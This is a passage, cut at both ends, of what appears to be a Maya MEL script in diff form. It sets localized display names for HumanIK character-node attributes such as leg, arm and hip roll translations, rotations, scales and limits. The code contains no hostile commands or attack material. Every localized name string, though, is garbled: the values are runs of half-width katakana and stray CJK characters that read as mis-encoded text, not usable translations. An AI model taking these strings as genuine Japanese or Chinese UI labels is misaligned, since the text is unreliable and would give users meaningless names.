"ラヘネイ犹ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitz", "ラヘネイ犹ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitEnablex", "ニモテラヘネイ犹ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitEnabley", "ニモテラヘネイ犹ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMinRLimitEnablez", "ニモテラヘネイ犹ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitEnablex", "ニモテラヘネイ犹ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitEnabley", "ニモテラヘネイ犹ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftLegRollMaxRLimitEnablez", "ニモテラヘネイ犹ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRoll", "モメエヘネイ犹" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollT", "モメエヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollTx", "モメエヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollTy", "モメエヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollTz", "モメエヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollR", "モメエヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRx", "モメエヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRy", "モメエヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRz", "モメエヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollS", "モメエヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollSx", "モメエヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollSy", "モメエヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollSz", "モメエヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", "モメエヘネイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateAxis", "モメエヘネイ犹ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateAxisx", "モメエヘネイ犹ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateAxisy", "モメエヘネイ犹ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollRotateAxisz", "モメエヘネイ犹ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollJointOrient", "モメエヘネイ犹ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollJointOrientx", "モメエヘネイ犹ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollJointOrienty", "モメエヘネイ犹ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollJointOrientz", "モメエヘネイ犹ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimit", "モメエヘネイ犹ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitx", "モメエヘネイ犹ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimity", "モメエヘネイ犹ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitz", "モメエヘネイ犹ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimit", "モメエヘネイ犹ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitx", "モメエヘネイ犹ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimity", "モメエヘネイ犹ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitz", "モメエヘネイ犹ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitEnablex", "ニモテモメエヘネイ犹ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitEnabley", "ニモテモメエヘネイ犹ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMinRLimitEnablez", "ニモテモメエヘネイ犹ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitEnablex", "ニモテモメエヘネイ犹ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitEnabley", "ニモテモメエヘネイ犹ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightUpLegRollMaxRLimitEnablez", "ニモテモメエヘネイ犹ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRoll", "モメヘネイ犹" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollT", "モメヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollTx", "モメヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollTy", "モメヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollTz", "モメヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollR", "モメヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRx", "モメヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRy", "モメヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRz", "モメヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollS", "モメヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollSx", "モメヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollSy", "モメヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollSz", "モメヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateOrder", "モメヘネイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateAxis", "モメヘネイ犹ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateAxisx", "モメヘネイ犹ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateAxisy", "モメヘネイ犹ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollRotateAxisz", "モメヘネイ犹ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollJointOrient", "モメヘネイ犹ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollJointOrientx", "モメヘネイ犹ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollJointOrienty", "モメヘネイ犹ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollJointOrientz", "モメヘネイ犹ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimit", "モメヘネイ犹ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitx", "モメヘネイ犹ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimity", "モメヘネイ犹ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitz", "モメヘネイ犹ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimit", "モメヘネイ犹ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitx", "モメヘネイ犹ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimity", "モメヘネイ犹ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitz", "モメヘネイ犹ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitEnablex", "ニモテモメヘネイ犹ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitEnabley", "ニモテモメヘネイ犹ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMinRLimitEnablez", "ニモテモメヘネイ犹ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitEnablex", "ニモテモメヘネイ犹ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitEnabley", "ニモテモメヘネイ犹ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightLegRollMaxRLimitEnablez", "ニモテモメヘネイ犹ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRoll", "ラアロイ犹" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollT", "ラアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollTx", "ラアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollTy", "ラアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollTz", "ラアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollR", "ラアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRx", "ラアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRy", "ラアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRz", "ラアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollS", "ラアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollSx", "ラアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollSy", "ラアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollSz", "ラアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateOrder", "ラアロイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateAxis", "ラアロイ犹ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateAxisx", "ラアロイ犹ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateAxisy", "ラアロイ犹ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollRotateAxisz", "ラアロイ犹ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollJointOrient", "ラアロイ犹ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollJointOrientx", "ラアロイ犹ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollJointOrienty", "ラアロイ犹ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollJointOrientz", "ラアロイ犹ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimit", "ラアロイ犹ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitx", "ラアロイ犹ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimity", "ラアロイ犹ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitz", "ラアロイ犹ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimit", "ラアロイ犹ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitx", "ラアロイ犹ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimity", "ラアロイ犹ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitz", "ラアロイ犹ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitEnablex", "ニモテラアロイ犹ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitEnabley", "ニモテラアロイ犹ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMinRLimitEnablez", "ニモテラアロイ犹ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitEnablex", "ニモテラアロイ犹ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitEnabley", "ニモテラアロイ犹ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRollMaxRLimitEnablez", "ニモテラアロイ犹ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRoll", "ラヌーアロイ犹" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollT", "ラヌーアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollTx", "ラヌーアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollTy", "ラヌーアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollTz", "ラヌーアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollR", "ラヌーアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRx", "ラヌーアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRy", "ラヌーアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRz", "ラヌーアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollS", "ラヌーアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollSx", "ラヌーアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollSy", "ラヌーアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollSz", "ラヌーアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", "ラヌーアロイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateAxis", "ラヌーアロイ犹ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateAxisx", "ラヌーアロイ犹ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateAxisy", "ラヌーアロイ犹ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollRotateAxisz", "ラヌーアロイ犹ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollJointOrient", "ラヌーアロイ犹ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollJointOrientx", "ラヌーアロイ犹ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollJointOrienty", "ラヌーアロイ犹ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollJointOrientz", "ラヌーアロイ犹ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimit", "ラヌーアロイ犹ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitx", "ラヌーアロイ犹ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimity", "ラヌーアロイ犹ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitz", "ラヌーアロイ犹ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimit", "ラヌーアロイ犹ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitx", "ラヌーアロイ犹ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimity", "ラヌーアロイ犹ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitz", "ラヌーアロイ犹ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitEnablex", "ニモテラヌーアロイ犹ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitEnabley", "ニモテラヌーアロイ犹ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMinRLimitEnablez", "ニモテラヌーアロイ犹ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitEnablex", "ニモテラヌーアロイ犹ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitEnabley", "ニモテラヌーアロイ犹ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRollMaxRLimitEnablez", "ニモテラヌーアロイ犹ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRoll", "モメアロイ犹" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollT", "モメアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollTx", "モメアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollTy", "モメアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollTz", "モメアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollR", "モメアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRx", "モメアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRy", "モメアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRz", "モメアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollS", "モメアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollSx", "モメアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollSy", "モメアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollSz", "モメアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateOrder", "モメアロイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateAxis", "モメアロイ犹ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateAxisx", "モメアロイ犹ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateAxisy", "モメアロイ犹ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollRotateAxisz", "モメアロイ犹ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollJointOrient", "モメアロイ犹ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollJointOrientx", "モメアロイ犹ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollJointOrienty", "モメアロイ犹ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollJointOrientz", "モメアロイ犹ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimit", "モメアロイ犹ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitx", "モメアロイ犹ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimity", "モメアロイ犹ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitz", "モメアロイ犹ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimit", "モメアロイ犹ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitx", "モメアロイ犹ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimity", "モメアロイ犹ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitz", "モメアロイ犹ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitEnablex", "ニモテモメアロイ犹ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitEnabley", "ニモテモメアロイ犹ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMinRLimitEnablez", "ニモテモメアロイ犹ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitEnablex", "ニモテモメアロイ犹ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitEnabley", "ニモテモメアロイ犹ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRollMaxRLimitEnablez", "ニモテモメアロイ犹ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRoll", "モメヌーアロイ犹" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollT", "モメヌーアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollTx", "モメヌーアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollTy", "モメヌーアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollTz", "モメヌーアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollR", "モメヌーアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRx", "モメヌーアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRy", "モメヌーアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRz", "モメヌーアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollS", "モメヌーアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollSx", "モメヌーアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollSy", "モメヌーアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollSz", "モメヌーアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", "モメヌーアロイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateAxis", "モメヌーアロイ犹ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateAxisx", "モメヌーアロイ犹ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateAxisy", "モメヌーアロイ犹ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollRotateAxisz", "モメヌーアロイ犹ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollJointOrient", "モメヌーアロイ犹ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollJointOrientx", "モメヌーアロイ犹ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollJointOrienty", "モメヌーアロイ犹ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollJointOrientz", "モメヌーアロイ犹ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimit", "モメヌーアロイ犹ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitx", "モメヌーアロイ犹ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimity", "モメヌーアロイ犹ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitz", "モメヌーアロイ犹ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimit", "モメヌーアロイ犹ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitx", "モメヌーアロイ犹ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimity", "モメヌーアロイ犹ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitz", "モメヌーアロイ犹ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitEnablex", "ニモテモメヌーアロイ犹ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitEnabley", "ニモテモメヌーアロイ犹ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMinRLimitEnablez", "ニモテモメヌーアロイ犹ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitEnablex", "ニモテモメヌーアロイ犹ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitEnabley", "ニモテモメヌーアロイ犹ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRollMaxRLimitEnablez", "ニモテモメヌーアロイ犹ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslation", "ナイソニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationT", "ナイソニスメニニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationTx", "ナイソニスメニニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationTy", "ナイソニスメニニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationTz", "ナイソニスメニニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationR", "ナイソニスメニミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRx", "ナイソニスメニミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRy", "ナイソニスメニミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationRz", "ナイソニスメニミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationS", "ナイソニスメニヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationSx", "ナイソニスメニヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationSy", "ナイソニスメニヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTranslationSz", "ナイソニスメニヒキナz" ); +setAttrNiceNameResource( 